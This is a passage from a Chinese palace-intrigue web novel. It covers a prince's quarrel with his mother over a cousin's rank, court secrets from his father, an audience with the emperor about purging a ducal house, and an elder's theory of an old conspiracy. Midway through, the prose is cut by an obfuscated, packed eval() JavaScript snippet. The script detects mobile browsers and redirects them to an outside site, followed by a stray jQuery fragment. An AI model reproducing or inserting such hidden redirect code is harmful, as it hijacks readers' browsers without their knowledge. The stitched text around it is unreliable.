英王妃顺顺气再喝口茶,交代道:“是你妙兮表妹要参选,娘知道妙兮比你小十余岁,你们表兄妹稍显生疏,但亲表兄妹,你岂有袖手旁观之理?” 晏霁之好笑:“选秀岂是我能左右?” 英王妃佟梦娴难得没恼怒:“贵妃还能左右不了吗?” 晏霁之默应:“好,我会找霍海啸打声招呼让你侄女能留到殿选时。” 英王妃耐着脾性纠正:“不是殿选,以妙兮的品貌,娘会跟你谈入选吗?” “你们胸有成竹还找我作甚?”晏霁之眉宇间浮起丝嫌她没事找事的不耐烦,英王妃立时被儿子冲撞得差点想发脾气:“娘是要跟你谈妙兮入宫后的品阶,你外祖母见不得妙兮要从七八品熬起,就跟你要淑妃位就当你孝顺外祖母了。” “淑妃?”晏霁之像听到个天方夜谭般讽笑笑略过:“王妃还有别的事情吗?” 英王妃拍桌示警:“娘跟你说正经的,我和你外祖家已经决定要给妙兮拿到淑妃位,你若是在这个节骨眼儿还想和娘唱反调,休怪娘对你不客气。” 何谓唱反调?就是他们想要什么让你去办,你必须给办到,莫说你不愿意,事情没办成都是唱反调。晏霁之虽然麻木了,这一刻仍一阵阵疲倦翻涌。 他今夜还特意走这一趟到底图什么,图给自己找不痛快吗?晏霁之压住倦怠装出恼怒:“淑妃可是从一品高位,王妃怕不是真昏头了。” “你那个从青楼买的小妾都能进宫就做贵妃,妙兮还能比不得一个做过娼妓的小妾吗?”英王妃讥讽声下令:“娘不管你用什么办法,总之你必须让妙兮进宫就做淑妃。” “看来是没得谈了,夜深了,王妃早些安置吧。”晏霁之站起来往外走,刚走出两步,威胁自身后幽幽传进耳畔:“霁哥儿,娘是吩咐你做事不是在和你商量,你若是非得忤逆亲娘就休怪娘不疼你,你钟家有个表妹到婚配年纪了,娘看着配给你正合适。” 富丽的堂屋倏然寂静,烛光照见光影中的背脊停滞僵硬半响后缓缓转过身,晏霁之近来虽清减仍未损兰枝玉树般俊雅的脸庞盛满难以置信,他目光灼灼似将暴怒又似受伤地望向高坐在膏梁堆里的生母质问:“你再说遍,你说什么?” 英王妃佟梦娴被骇得心漏掉拍,再想想是自己想多了,哪有做娘的怕儿子,她定定心神终于感觉能扬眉吐气找回做母亲的威势了:“娘说,你若非得忤逆亲娘,休怪娘不疼你,你钟家表妹嫁给你,你帮着扶持钟家也能算是你孝顺娘和你外祖母了。” “一个娘家侄女也能值得你这样威胁亲儿子吗?” 晏霁之想他可真是自作孽,离府一个月又回来而已,何必因此就非得再来岚瑟居装出点愿意孝敬的假样,他到底是嫌烦想敷衍住佟梦娴还是还存着丝幻想? 可不就是自作孽!晏霁之想他还真是自作自受,根本是他惯得,是他总会自觉或不自觉地留丝余地才令佟老太母女对他越来越肆意,他根本就是活该! “这不是妙兮值不值得,是你得听娘的吩咐。”英王妃佟梦娴心中翻滚着总算能反压掌控的快感,她按捺住心底隐秘的快感端着架子发威:“你若动不动就忤逆亲娘还能得了吗,你是我生的,你若就是个忤逆亲娘的孽障,我还要你这儿子来何用?” “可惜啊,我命硬,不像母亲怀过的第二胎,果真如你所愿被你害得胎死腹中!” 晏霁之拂袖而走,英王妃佟梦娴急得直蹦起来想训,可看着儿子疾走的身影,孽障二字卡在喉咙里,她心惴惴的还有些莫名的苦涩,到底忍住了想明日再谈吧。 融融夜色侵袭,刚还煌煌明亮的堂屋忽如四面八方空洞孤立,转眼间灯火阑珊将熄。 相较而言,英王晏墉的书房中温馨许多。 晏霁之没用晚膳有点饿,做父亲的还能把自己的宵夜让给混账儿子,等儿子用过宵夜,他老神在在通知:“霍家让你明后两日挑皮痒时去趟,他家祖孙三代都等着要剁你。” “是蜀王把人送到我面前,我还能把人往外推吗?”晏霁之狡辩,英王晏墉破功训斥:“什么人,人家现在是什么人?这位现在还是你能招惹的人吗,不往外推难道能接着吗?你还真敢接着啊你,你老子我这几天提心吊胆,不如我先把你打瘫再把你送去霍家。” “情爱若能忍得住,古往今来还会有那么多痴男怨女吗?”晏霁之不识趣的嘀咕顶撞,晏墉假笑商量:“你老子现在忍不住想把你打个半死,按你的意思该怎么办?” 晏霁之机智的跳话题:“爹,姑母当年进东宫前曾和姬国舅有过情,对吧?” 英王晏墉立时变脸:“谁告诉你的?你小叔公还是霍家,他们疯了不成?!” “没人告诉我,我自己猜的。”他居然真猜对了,他和蜀王还真有渊源,晏霁之解释:“祖父生前曾提过寥寥数语,姑母少年慕艾时喜欢的那个男人死在授康九年。 贵妃册封典礼的宫宴上你们提起姬国舅的往昔,姑母生前又对霍灵渠视如己出,我想姑母只因合眼缘就那般疼爱霍灵渠到底牵强,应当是姑母和姬国舅曾有过段情吧。” 英王晏墉垂眸不语,但刚才威压的气势也消散了。 晏霁之试探:“爹,霍家都晓得这往事呀,霍家怎么会知道?” 英王晏墉仍未作答,两鬓已有银丝出没而眉眼间仿佛因此言而更添两丝沧桑的老脸似有股难言的晦涩,晏霁之打趣:“您还怕我们今夜的谈话传进圣人耳中吗?” “圣人知道。”晏墉沉默良久后说,晏霁之惊诧:“圣人知道?您是指圣人知道姑母进东宫做良娣前就有倾慕之人还是连那男人就是姬国舅都晓得,这、这不可能吧,祖父生前都说圣人对姑母真的有情,假若圣人知道我姑母曾少年慕艾还能没芥蒂吗?” “他知道,你姑母进东宫前他就很清楚,清楚你姑母曾少年慕艾,更清楚那男人是谁,或许就是你说的,情爱是忍不住的吧,毕竟圣人也曾年轻过,也曾意气风发。”晏墉感怀:“他是真的爱你姑母,所有女人中,他唯一动真心爱过的女人就是你姑母。” 晏霁之呛:“他真爱我姑母何至于连个健康的孩儿都不愿意给心爱的女人?” 英王爷心田泛起苦味,在这样寂寥而适合促膝长谈的夜里摊出往事:“朱太后做的,是他母亲朱太后做的,他也是事后得知。因此,他登基初尚未立皇后封贵妃时,朱太后想让他册朱家女做贵妃,他非但不肯还将外祖家的表妹只封做从二品妃。” “呵!”晏霁之冷嗤:“您焉知不是他们在演戏,我曾祖父那时还活着呢。” “霁儿啊,圣人也年轻过。”晏墉怅然的语调中颇有种老父亲的语重心长:“四十年前,他也曾是个意气风发的少年郎;三十年前,他也曾是个热忱激昂的年轻皇帝。” 晏霁之微愣,神思难辨地看父亲,英王晏墉摆证据道:“授康元年,你姑母居贵妃位,淑德贤三妃的位置都空着,直到授康五年,他才将外祖家表妹封做淑妃。 朱淑妃在授康八年病逝,授康十年,他将从一品三妃的位置放满,淑妃位给最能讨他欢心的庄妃,德妃位给穆国公府出身的霍德妃,贤妃位给护国公府出身的原贤妃。先昌隆侯的嫡长孙女当时已在宫中,他亲娘向他要个从一品妃位,他都没给啊。 何况朱太后在授康11年冬薨逝,授康十年时朱太后已经不大好,他能没数吗?更不提三十年里朱家前前后后送进宫五个姑娘都没留下一个朱氏女生的皇嗣。” 晏霁之哑然,是他把这位老皇帝想得太不堪了吗?忽然就生出种毛骨悚然的恐惧,权利真恐怖啊能把人性扭曲吞噬殆尽,三十年前也曾热忱过的圣人而今早已面目全非。 英王晏墉整整心绪,端起茶盅喝两口参茶,确认遍:“调佟梦佶做茂县县令是你的意思,你想在今年把佟家拔起,可你想过把佟家拔起后该如何向你母亲交代吗?” 晏霁之端起他的茶盅喝两口碧螺春,淡淡道:“我再思量几月,会给您答复的。” “好!”英王爷看来结果就相当于落定了,心情不错的嘱咐:“朝堂就要有大变动了,既然你病养好了,想见的人也见过了,就好好收收心,收起闲心思办正事。 圣人即将调护国公回京,改派遣蜀王和郢国公镇守北境,陛下想将江南赋税收归国库,两位至尊还要在今年海禁,整顿江南和海禁都交给你办。爹和你小叔公原想让你推掉件,但爹现在想想让你一肩担就一肩担吧,事情多了,你也就没闲心思胡想了。” 晏霁之没反应过来:“无缘无故的,圣人怎么会突然想将护国公调回京畿?” “授康十六年霍家大火的阴谋。”英王晏墉提示,晏霁之瞬间领悟,桃花眼满含震惊:“太上皇想将霍家这场阴谋甩给护国公府,护国公回京就是死路,他太狠了吧?!” 晏墉没作声。 晏霁之问父亲:“就没有回旋的余地了吗?” 至于霍家,不管太上皇想把这桩阴谋推给谁家,总不会拦着霍家报仇就是了,霍家查准仇家后当然还是能报仇雪恨,太上皇想让护国公府来担对霍家没影响。 “一个月前落定的,魏王应该给护国公放风声了,可知道又能如何?”晏墉格外怜悯:“家眷都在京畿,他能抛下家眷只带着兄弟子侄亡命天涯吗?他做不出来,回,护国公他还能有机会给家眷找条活路;不回,家眷乃至全族都得被诛灭。” “陛下什么态度,皇帝若要保必能保住护国公府。”晏霁之挣扎:“嬴忱璧就放任了,真就这么放任了?他,他保住护国公对他又不是没好处。” “授康十九年、授康二十八年,圣人两度想把护国公府拔起都功败垂成,护国公府都已经是他的眼中钉肉中刺了,陛下若想强保下护国公府就要和亲爹撕破脸,能吗?” 英王晏墉厉声甚至是狠狠地训斥儿子的幼稚:“陛下作甚要为护国公府和太上皇翻脸,何况太上皇都愿意给出让步了,你当整饬江南和海禁是怎么来的?圣人除掉心病,陛下拿到江南的赋税,霍家报仇,他们能各自满意,作甚要因护国公府闹得三败俱伤?” “呵……”晏霁之自嘲笑:“多少大臣觉得霍家将在朝堂掀起腥风血雨,皇帝费尽心思找到霍灵渠册封贵妃定然会推着霍家帮他从太上皇手中夺权,谁想竟是这么场风雨?” 下瞬,他神情骤变,满眼凄厉狠绝的盯着父亲:“最多两三年,边境的战事就能结束,这回南北边境的战事结束至少能安稳一代人。今年护国公府,下个轮到谁,我们晏家和霍家应该就只在先后吧?护国公府精忠报国满门忠烈啊,还能有我们的生路吗?” 晏墉避而不谈:“夜深了,回去歇着吧,明日早朝过后,陛下应该就要找你谈了。” 意料中,他本意也只是想发泄,晏霁之顺从道:“好,您也早些安置。” 走出父亲的书房,晏霁之看见星辰黯淡,黑暗像一张没有缝隙的网笼罩着苍穹,他伫立凝视片刻后闭目缓和下,暂且压一压思念的苦涩,回去蔚然居。 霍灵渠走的时候就带走晏霁之给她的海螺,流光姨娘的行李全都还在。晏霁之刚进屋,丫鬟请示该如何处理流光姨娘的物品?晏霁之慢半拍看向她,看得朱楼心里发毛,跪下道:“世子恕罪,是,是王妃派人来问过了,王妃想收入库房。 岚瑟居派人来搬过,是煦少爷觉得该等世子回来处理,特意请王爷阻拦。后来霍家来人说想把流光姨娘的衣物买走,王妃同意了,还是煦少爷坚持该等世子回来。”朱楼再低低头:“王妃有些生气,和煦少爷闹得也有些不愉快了。” 晏霁之摆摆手,让婢女退下。 似乎还能看见霍灵渠在这间屋里明眸浅笑的景象,晏霁之又闭闭目,走到梳妆台前,认真查看过,找到记忆的痕迹,他拿起她用过的木梳,想,今后他也用这把木梳吧。 洗漱过后,晏霁之走向床铺,曾经霍灵渠把他娇惯得都不肯自己铺被窝了,而今女人暂时不在了,晏霁之只能自己铺被窝。将床铺好,他蜷缩在被窝里,等着思念将他吞噬。也不知怎样睡着的,他只知道他醒来时天已擦亮。 疲累的呆愣半响,晏霁之意外发现枕畔掉落了好几根头发。 压住累意,他再起来洗漱,打起精神出屋。 蜀王前些天的安排,霍家祖孙三代就四位知道,霍巨浪是不知道的,因而,早朝前见到销声匿迹个把月还回来后明显消瘦的晏霁之,他还挺好心得凑近关心了。 霍海啸在旁边看得心底直冷笑,捏捏拳头,真有想连带把这弟弟同揍顿的冲动。 持续大半个时辰的早朝结束,皇帝刚走,小太监走到晏霁之面前表示陛下召见,太极殿尚有许多大臣未散,对此还没冒出议论,又有长春宫的太监过来,贵妃有请魏王。 霍贵妃请魏王的消息还比晏霁之早一步出现在正徽帝嬴忱璧面前。 故而,原本在凉亭摆棋盘的皇帝在见到晏霁之后即带他去长春宫,跟随皇帝的大批宫人隔着好几丈远尾随,反正就是隔开个不可能偷听到谈话的距离吧。 “晏卿消瘦许多,想来这回真是病势凶猛了,养病月余,卿病养好了吧?” 晏霁之颔首:“蒙陛下关怀,臣谢陛下。” 嬴忱璧若有欣慰:“卿少年英才乃是朕的股肱栋梁,病养好就好。” 晏霁之仍答:“臣,谢陛下关怀。” “爱卿既已病愈,大好年华,是该想鹏程万里、报效国家了。”嬴忱璧警醒过便切正题:“朝廷将整饬江南并且海禁,英王和你提过了吧?” “陛下当真要调护国公回京吗?”晏霁之谦卑相请:“护国公戎马半生,原家三代人血染北疆,何等壮烈。保家卫国是每个儿郎义不容辞的责任,在陛下面前是不该以此邀功,但护国公府总该能配得到陛下的体恤吧?” 正徽帝嬴忱璧慢慢停步,转向晏霁之打量:“霁之和护国公府甚有交情?” “既是恻隐之心更觉兔死狐悲吧。”晏霁之就当着皇帝的面讽刺,嬴忱璧宽容道:“霁之休得胡言,更不该胡思乱想。圣人多年未见护国公,甚是想念才想调护国公回京。太上皇已是这把岁数,他老人家心意定了,我们总该让太上皇晚年和和顺顺。” “陛下?”晏霁之深深看眼皇帝,感慨道:“臣想问,在陛下看来,到底是人握着权利财富还是权利财富操纵着人乃至将鲜活的人扭曲?” 嬴忱璧微微笑笑,状若奇怪:“霁之聪慧绝顶,怎么还会有这种困惑?” “昨夜,家父与臣忆起温献皇后,家父说,当年温献皇后进东宫前,圣人就清楚臣姑母曾有过少年慕艾;圣人的母亲、陛下的祖母朱太后暗中损害我姑母的胞宫致使温献皇后生的儿女都病歪歪活不长,因而朱家送进宫五个姑娘都没留下皇嗣。” 晏霁之直视皇帝,眼神温和中藏着尖锐影射:“家父还言,四十年前的圣人意气风发,三十年前的圣人热忱激昂,我在想忱璧你三十年后会是什么模样?” 没有眼神交锋,皇帝很平和:“霁之聪慧,岂能不知什么人才会被贪婪吞噬?” 晏霁之低眉但没有作声,正徽帝嬴忱璧不在意的带他往前走:“你年轻,圣人担心你未必能应对整饬江南的繁杂,要你先拟个章程来看。圣人将在四月二十一颁旨传护国公回京,你就在十日内把章程拟定吧,已让圣人等月余,莫再耽搁了。” “请陛下示下。”晏霁之规矩应对,嬴忱璧交代道:“江南贪腐甚重皆因赖有晋王庇护,而今已堪将妄动国本,太上皇再疼爱晋王也不得不为社稷着想;你只需以国家百姓为念,不必顾及朕对晋王的手足之情,晋王做错事自该受惩戒。” “臣明白了,臣还有件事启禀陛下,臣曾和贵妃忆起过臣的表姐、圣人的四公主。贵妃曾言四公主生前曾说要努力活着,替死去的姐姐弟弟和母亲好好活;灵渠说不信,说我表姐都能扛住生母病逝的悲痛还能因为受什么打击而病逝?” 晏霁之重重站定,沉声道:“臣怀疑臣表姐当年是被害而亡,臣要彻查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459278|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬴忱璧微讶:“四妹可能是被害而亡?不该吧,四妹谦和,谁会害她?” “臣目前最大的怀疑是庶人嬴丹若生前做的,嬴丹若见不得妹妹比她得父皇疼爱,臣毫不疑她能做的出来。”晏霁之平复道:“但真相如何还得彻查过后才能定论。” “四妹若当真是枉死,当然要彻查给四妹讨回公道。”嬴忱璧沉吟道:“这样吧,霁之你暂且按捺些时日,只做不知,这是朕和贵妃聊起四妹生前方才生出的疑心,待朕向太上皇知会过后再传英王和晏副相,届时晏家再彻查吧,不必遮掩了。” 晏霁之退后两步,俯身行大礼:“臣,谢陛下隆恩。” 他们走到长春宫时暖阳高照,皇帝晒着阳光心情好还示意内监不必通禀,行至正殿前,突有摔砸声传出,嬴忱璧站定看向身边的内监,小太监忙高喊:“陛下驾到!” “陛下驾到!”的话音落地,正徽帝嬴忱璧又慢两步进殿,贵妃和魏王站起来迎驾,他大步走到主位坐再示意大家都坐吧,笑容可掬道:“朕听闻贵妃请皇兄来说话就过来看看,皇兄怎么摔杯了,莫不是贵妃不懂事惹皇兄生气了吧?” 宫人们利索奉上新茶水糕点以及收拾摔碎在地砖上的杯碗碎片,魏王冷硬着脸没理会,霍灵渠挤出笑意禀奏:“臣妾和魏王谈了点事,不是什么好事才令王爷动怒了。” 晏霁之和魏王面对面坐,对面的魏王爷脸色是真差,他再转向魂牵梦绕的人儿,好像也有心弦紧绷着,这就让他有点疑惑他们在谈什么了。 嬴忱璧甚至都想猜贵妃和魏王刚才有可能在吵架,仍和煦道:“皇兄宽博,贵妃有什么事竟能令皇兄动怒?不如,贵妃也说给朕和晏卿听听。” 霍灵渠瞟眼宫人们,嬴忱璧令宫人退下,摔碎的瓷片暂时不必收拾了。 宽阔敞亮的殿阁中唯剩他们四人,霍灵渠启唇道:“臣妾请魏王来是提醒件事,一个多月前臣妾还在英王府时得知的,客居在魏王府的任逍姑娘是庄太妃的细作。” 嬴忱璧诧异,看眼魏王再看向晏霁之,狐疑道:“任逍姑娘可是魏王的亲表妹,她怎会被旁人收买来潜藏在表兄家中做细作,晏卿真没查错吗?你又怎会想去查任姑娘?” “好奇呀,臣有时闲来无事会瞎琢磨,琢磨到令我不解的事,若有空暇会管管闲事。”晏霁之含笑道:“任逍姑娘是在正徽元年八月在老家逃婚,进而在人前失去踪迹。 正徽二年四月她突然出现在京畿投奔魏王表兄,间隔半年多,她躲在哪儿,她是如何逃婚又是如何避过自家和未婚夫家的搜寻躲藏半年多?何况不是魏王爷自愿收留这位表妹,是任逍姑娘死皮赖脸硬要死赖在魏王府,她意图再明显不过。 暂且做女谋士彰显风骨博取魏王的好感为自己将来进魏王后宅铺路看似是个明智之举,可她是逃婚来的,她若有逃婚后的心机,可能会做出逃婚这种事吗? 何况任逍做女谋士将满三年,她也将满21岁了,她若能有这么好的耐性还能做出逃婚和将自己死赖给表兄的蠢事吗?我不信,有闲暇就查了查。” 晏霁之黑眸湛湛,眼中尽是自信的风芒:“未料竟查到是庄太妃在指点,我自觉能猜出应是庄太妃帮任姑娘逃婚,可庄太妃的人情岂会有那么好拿,任姑娘为一己私欲能不要脸皮,在表哥家中做细作又算得了什么,王爷若是不信,大可亲自查查。” 魏王摆明信的,否则能怒到摔杯吗?正徽帝嬴忱璧轻咳声端茶盏喝茶,是没甚疑虑。 “贵妃告诉本王,你推测,本王若想强行把这表妹送回任家反会招惹报复。”魏王心底似有团火在烧而眉目比冰霜冷,他紧盯晏霁之,问:“霁之有凭证吗?” “报复?报复是何意?”嬴忱璧抢话问:“皇兄的意思,霁之推测仅是送她回自家,任姑娘就能痛恨亲表兄到要报复?”皇帝看向晏霁之:“霁之揣测得会否荒谬了?” “陛下、王爷试想,任逍为何逃婚?是她贪慕虚荣,她不安分。”晏霁之娓娓解析:“她已经没有名声了,再回任家,她还能有好的婚嫁吗?在她名声尚好时,她都看不中她家给她定的婚事,名声败坏后只有别人挑她的份儿,任逍能受得了吗? 孤注一掷逃婚、死赖表兄家,她摆明就是要把自己死赖给魏王了,而魏王爷愿不愿意都没法否认的是,大家都觉得任逍给你做侧妃已是铁板钉钉,早晚而已。 倘若王爷你不肯要这位表妹,在任逍眼中岂会不是你对她狠辣绝情,毕竟你只需纳她做侧妃而已,对你能有多难?轻飘飘的事,亲表兄妹,你若都不肯还不是你对她狠吗?任逍的作风不摆明了是:我想赖给你而你不能拒绝,否则便是你狠辣你对不住我。 和这种人还能有道理可讲吗?在她眼中,魏王若强硬拒绝就相当于把她的后半生毁掉,那么她不恨魏王恨谁?她要报复个对她狠辣绝情想毁掉她后半生的人,不该吗?” 晏霁之言尽,魏王恨得都把新奉上的茶盏再砸了,在皇帝面前摔杯盏,嬴忱璧念在魏王情有可原,没计较,皇帝他信,水到渠成的预测能有何疑虑、有何不信?! 嬴忱璧甚至还有丝齿冷,只因这种彻骨薄凉自私的人性真令人恶心厌恶,帮忙缓解道:“霁之可有对策吗,帮皇兄保住和外祖家情份的对策?” “臣的建议是王爷帮任逍挑个丈夫吧,安排他们生米煮成熟饭再闹得人尽皆知;王爷若是不忍心就纳下这位表妹,毕竟任逍想靠表哥安享富贵,不会傻到损害自己的利益。” “本王会斟酌!”魏王冷硬吐字,每个字都像带着被背叛的怒,然后就冷场了,魏王似沉浸在愤怒中,晏霁之安静坐着不嫌无聊似的,嬴忱璧轻咳声想叫他们跪安时被贵妃抢前:“陛下,臣妾这两日在想前往皇陵拜祭,您看您何时有空暇?” 嬴忱璧还以为贵妃早忘记了呢:“贵妃是指我们带皇兄和霁之、海啸同往吗?” 霍灵渠应道:“是呀,之前宫宴上,太上皇应允了的,臣妾想总不好再拖着。” 特意点出太上皇应允是怀疑他会想撇下晏霁之吗?嬴忱璧小心思作祟想,瞥瞥那两人都闷不做声好像没听到似的,他考虑道:“论空暇自然是休沐日最有空暇。 四月初三立夏,今年立夏还恰巧和皇后生辰是同一日,四月初十是贵妃生辰,四月十六将秀女大选;太医还言,翁美人大概在四月十五前后几日临盆,贵妃想选哪日?” 霍灵渠沉吟道:“四月初七吧,不知陛下四月初七可能有空暇?” “好,朕今日就吩咐下去。”嬴忱璧顺势道:“皇兄和霁之若没别的事,退下吧。” 皇帝绝对故意赶他,晏霁之尽量装作不郁闷地站起来,和魏王一同告退离开。 霍灵渠目送晏霁之消失在视野中,低头垂眸,过会儿察觉到好像有人注视她,她抬眸就迎上皇帝很假的微笑,嬴忱璧温和道:“贵妃坐久闷了吧,朕陪贵妃去花园走走?” 岂料贵妃只是看着他欲言又止,嬴忱璧就问:“贵妃有心事?” “我……”霍灵渠黛眉紧蹙,踌躇道:“陛下,太上皇心意已定的事,我是指,刨除涉及陛下生死那事,若太上皇心意已定,还有什么情况能令陛下愿意违拗相抗?” “朕看贵妃心绪不宁,贵妃可是出什么事了?”嬴忱璧站起来走过两步坐到贵妃身边,霍灵渠探究皇帝半响还是忧心忡忡的:“陛下可否先回答我的问题?” “不是朕不答,是贵妃不给具体情况,朕如何能给答案?”嬴忱璧自然而然的套话,他龙颜微笑而心底真有点怪,贵妃昨日还很高兴呀,怎么今日突然心事重重的?从昨日贵妃高兴起到现在最可能影响她的就是魏王了,莫非他们还有谈论别的事? 霍灵渠迟疑再三还是对皇帝的不信任占据上风:“臣妾有点累了,陛下请回吧。” 真没想过会套出这么句话的皇帝想,贵妃口风真紧。他赖着再旁敲侧击探探,没能探出什么情况只挨到被贵妃再赶,只好先离开,他晚膳时再过来长春宫陪贵妃。 可惜霍贵妃回到寝殿后就藏在殿阁中不出,午膳没出来,晚膳还不出来,皇帝过来用晚膳宣贵妃都被她挡回去了;皇帝主动过去就见到个忧思沉重的贵妃,问什么心事又问不出,皇帝嬴忱璧只能自己琢磨再宽解贵妃莫胡思乱想,陪大半时辰后离开。 霍灵渠送到殿前,靠着廊柱望向星空,既像在发呆又似沉浸在往事里。 晏霁之踏着同片星辉走进霍家,做足被揍的准备了。 “兔崽子,怎么查到郢国公府的?”霍擎揪问,晏霁之讶异:“这重要吗?” “老头问你,庄太妃做啥想让她的幼女假死?”霍擎正经的眼底藏深意,晏霁之皱眉,按住古怪答:“自保啊,当时任皇后想要拉着她陪葬又不是秘密,她牺牲幼女以保全自己。当年皇宫中都私下传言是她为谋生机而亲自害死幼女了,您不以为然吗?” 霍擎冷嗤:“那就是我霍家传的流言,圣人根本没信过,为啥呀,因为当时圣人已经拿定主意要用庄淑妃制衡我闺女,庄淑妃还能不清楚任皇后根本动不了她吗? 何况论争宠,在授康十七年以前,庄淑妃称得上是圣人后宫争宠第一人,如果她应付任皇后都要沦落到牺牲个女儿来自保,她还能配屹立至今吗?” 晏霁之不得不承认老人家直戳要害,可他不明白:“那,庄氏还能是因为什么?” 霍擎老太爷鄙视:“宫宴上,老头我的话,你耳聋了没听见吗?” 87. 第87章 贵妃册封典礼的宫宴上,老穆国公霍擎曾言:庄太妃做啥害自己的亲闺女,难道六公主不是圣人的亲骨肉,庄太妃怕幼女不像圣人所以悄悄让幼女假死吗? 若有风自窗缝隙渗进来,书房烛火摇曳,堆满架的金银珍宝在缥缈灯影中晦涩。 桌案角的烛光把年龄叠加起来将近百岁的老少照得格外明晰,倏然间的安静好似深海,平静海面下蓄藏着能铺天盖地的威力,令人自发敬畏。 晏霁之震惊的注视着书桌对面的老人家:“您,不是戏言?” “哼!!”老人家靠智慧妥妥碾压:“老头我脑瓜糊掉啦拿想吞掉我霍家的阴谋来唱戏逗你们笑吗?!一个个的,从我这太上皇女婿到皇帝,从霍秦川到霍漓江,从霍海啸到你,再到满朝个顶个自觉心计超群的大臣,居然没人能给我接上,白瞎了你们的脑子。” 这可真是被鄙视都没脾气,晏霁之端茶盏喝口茶缓缓,进入老人家给的设想:“那么您提郢国公府是怀疑庄太妃的幼女实则是她和郢国公的女儿吗?假设,这就是真的,因由呢,什么因由能令庄太妃这般铤而走险?” 霍擎捧起茶盅喝两口参茶,淡淡道:“庄家扶不起来。” 晏霁之愣下,瞬间心绪激荡,一种原来如此、就应该如此的感觉在血脉中翻滚,他不禁拍手抚掌赞对啊:“二十年前,庄淑妃想谋前程就必须要在朝堂有势力,可庄家扶不起来,姻亲未必能事事与她共进退更遑论能受她掌控。 故,她想要有股藏在暗中的能给予她足够支撑的隐蔽势力,勾引郢国公,用个胎儿彻底绑住鞠家不得不在暗中为她做事,这诱惑当然能值得她铤而走险。” “您,还有佐证吗?”晏霁之不是不愿意相信,只是毕竟没有证据。 霍擎不答反问:“郢国公府不如我穆国公府,看得懂输在哪儿吗?” 晏霁之神情微妙,老穆国公霍擎向来豪放随意,还未见过他如此正经,但丝毫不违和,反而这才应该是将家族推上顶峰的当家人的面目。 “霍家方方面面碾压,单论这场阴谋,假设我们推断没错,第一,您的霍秦川、霍漓江绝不会被勾引;第二,哪怕被庄淑妃算计到了,晚辈恐怕我这位姨夫把人捅死都做得出,穆国公只怕也不遑多让,霍家绝无可能被外人牵着鼻子走。” “对了,不用恐怕啦,就是霍漓江会做的事。”捅死两字把霍擎给逗乐了:“霍漓江呢,只管把人捅死,扔给老爹和老哥收拾烂摊子;换做霍秦川,他就自己办了,再安排个男人让他们死在床帏里,保管会让庄淑妃再也没机会在圣人面前吭声。” “容晚辈提第三点,已故的老郢国公没魄力。”高兴好像能感染,晏霁之忍俊不禁道:“但凡已故的老郢国公能掌控住,他家也不至于还被显国公府反压。 盗取霍桑柔的身份给他们这个女儿定然是庄淑妃的主意而非出自郢国公府,撇开郢国公府自家的心思谋算,一步步都被庄淑妃牵着走,他家又还能成什么气候?” “我和死掉的老郢国公做过四十年拜把兄弟。”霍擎提醒,晏霁之看着这老太爷奇怪:“我知道啊,这又不是秘密。”可他就没反应过来,一脸的迷糊样,霍擎只得挑明说:“能让我老头四十年都没看清的人会被庄淑妃牵着走吗? 偷盗我霍家桑柔的身份是庄淑妃的主意,但是否施行绝非她能左右,能让这场阴谋在我霍家瞒天过海更不是庄淑妃的本事,而是死掉的老郢国公精心谋划而来。” 晏霁之真有感触,四十年拜把兄弟呀,我真心相待,你在我背后捅阴刀! “知人知面不知心,看走眼不算什么,看错人很寻常,您老不必自责。” “我的小外孙女去世都快九年了。”霍擎失笑:“霍家晋后族,圣人抬举鞠家辖制霍家,我俩疏远;圣人的十皇子和八公主亡故,我俩决裂,我与他决裂都快九年了。” “我突然觉得,圣人这倒是歪打正着做了件好事。”虽然这话有点戳老人家的心窝,但晏霁之还是想说:“11年前,若非您和老郢国公几十年的兄弟情,圣人也未必会想用鞠家来辖制霍家,当时觉得圣人做得太不厚道,现在看,霍家该谢谢他。” 霍擎未置可否:“看出郢国公府的问题在哪儿了吗?” “怪累人的。”晏霁之依直觉说。 老人家笑起来,许是小辈答得可爱,许是感念青葱年华令他忆起和仇家的往昔也平和:“是啊,年轻时我就劝他,你把胆子放开。 你这么瞻前顾后,你将来能做多少事?我十件事都做好了,你一件事还没做好呢;你这毛病不改啊,将来老子我做第一,你最多排第十,可他就是到死都没改。” 晏霁之不假思索想到:“您老早就在怀疑郢国公府了?” “老头我不怀疑死掉的老郢国公,难道真去相信阴谋到庄太妃就能停了,她配吗?!”扬高的语调中尽是不屑,霍擎带出情绪冷笑:“如果凭庄太妃就能在我霍家整出这种大案、把老头我的宝儿掳走都没让我起疑,我霍家成什么了,我霍家的防卫成什么了? 我霍家难道是随便一个阿猫阿狗都能来钻的破网吗?外人在霍家整出这种大案,不是对我霍家的防卫足够清楚又不是我那太上皇女婿,谁想做这桩案子能绕开死掉的老郢国公,何况这阴谋明明白白就是他的风格,老头我脑瓜糊掉了不去怀疑他吗?” 霍擎说着怒火喷涌终按捺不住痛骂起来:“个死老头啊,四十年拜把兄弟,居然跟我耍这种阴招!行啊,有他的,老子我不让他鞠家满门灭绝九族绝嗣我就不下去见他!” 晏霁之真觉唏嘘,四十年拜把兄弟呀,在我真心相待,在我以为你我都是真心实意时,你在暗中谋划想毁掉我全家?!郢国公府刚正? 多少大臣赞过鞠家秉直端正,这十余年来,鞠家和霍家的风评就是好坏的两端,谁曾想两家还未疏远决裂时,鞠家表面和霍家亲热,背地里却捅阴刀想毁掉霍家。 让老穆国公四十年未看透的人,难怪能装得那么厉害。 猛地,晏霁之念起前世鞠家的结局,莫非,灵渠的猜测没错,前世老穆国公在生前时就已经知道这桩阴谋了?对,霍枫叶,霍枫叶可早就有数了,霍枫叶会一直隐忍会在老父行将就木时仍然只字不提吗?所以,前世霍家都是报了仇的? “想什么呢,看你想到什么了不得的事了?”小脸阴晴不定的,霍擎哼。 “册封贵妃当天,在济善庵前,海啸猜,霍枫叶十三年前应该就有数了。”晏霁之求证:“若您行将就木时霍枫叶把事情告知您,您会瞒住穆国公和兴献侯?” 霍擎微微一怔,注视他会儿,落寞笑笑:“若找不到灵渠,告诉他们做什么?” 